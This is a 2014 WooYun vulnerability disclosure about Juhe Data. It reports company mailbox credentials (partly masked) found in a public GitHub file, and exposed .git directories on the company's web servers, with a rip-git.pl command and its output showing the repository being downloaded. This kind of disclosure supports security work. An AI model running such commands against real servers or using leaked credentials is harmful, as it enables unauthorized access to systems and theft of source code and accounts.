漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-083117
漏洞标题：聚合数据某配置不当信息泄露
相关厂商：聚合数据
漏洞作者： 爱上平顶山
提交时间：2014-11-13 14:14
修复时间：2014-12-28 14:16
公开时间：2014-12-28 14:16
漏洞类型：重要敏感信息泄露
危害等级：中
自评Rank：10
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-11-13： 细节已通知厂商并且等待厂商处理中
2014-11-13： 厂商已经确认，细节仅向厂商公开
2014-11-23： 细节向核心白帽子及相关领域专家公开
2014-12-03： 细节向普通白帽子公开
2014-12-13： 细节向实习白帽子公开
2014-12-28： 细节向公众公开
简要描述：
...
详细说明：
聚合数据
一、主邮箱泄露
https://github.com/qdayy/safeangel/blob/90de3a1f680bd0a018b2d1ba1cadbd7dde64c91e/api/send.php
'host' => 'exmail.juhe.cn',
'port' => 456,
'secure'=>'tls',
'user'=>'service@juhe.cn',
'pwd'=>'juhe527****'
https://exmail.juhe.cn/ 可登陆
二、git更新信息泄露
http://2014.juhe.cn:80/.git/config git信息泄露
https://github.com/qdayy/2014.juhe http://dev.juhe.cn:80/.git/
脚本地址：
https://github.com/kost/dvcs-ripper/tree/4e105c0217dbecdbcedc46eaa6861c31efc6ac3b
利用： WooYun: 友盟网git服务使用不当导致源代码泄露 参考
D:\perl\bin>perl.exe rip-git.pl -v -u http://2014.juhe.cn:80/.git/
[i] Downloading git files from http://2014.juhe.cn:80/.git/
[d] found COMMIT_EDITMSG
[d] found config
[d] found description
[d] found HEAD
[d] found index
[d] found packed-refs
[d] found objects/info/alternates
[d] found info/grafts
[d] found logs/HEAD
...
ok
漏洞证明：
如上
修复方案：
...
版权声明：转载请注明来源 爱上平顶山@乌云
漏洞回应
厂商回应：
危害等级：低
漏洞Rank：4
确认时间：2014-11-13 14:18
厂商回复：
非常感谢
最新状态：
暂无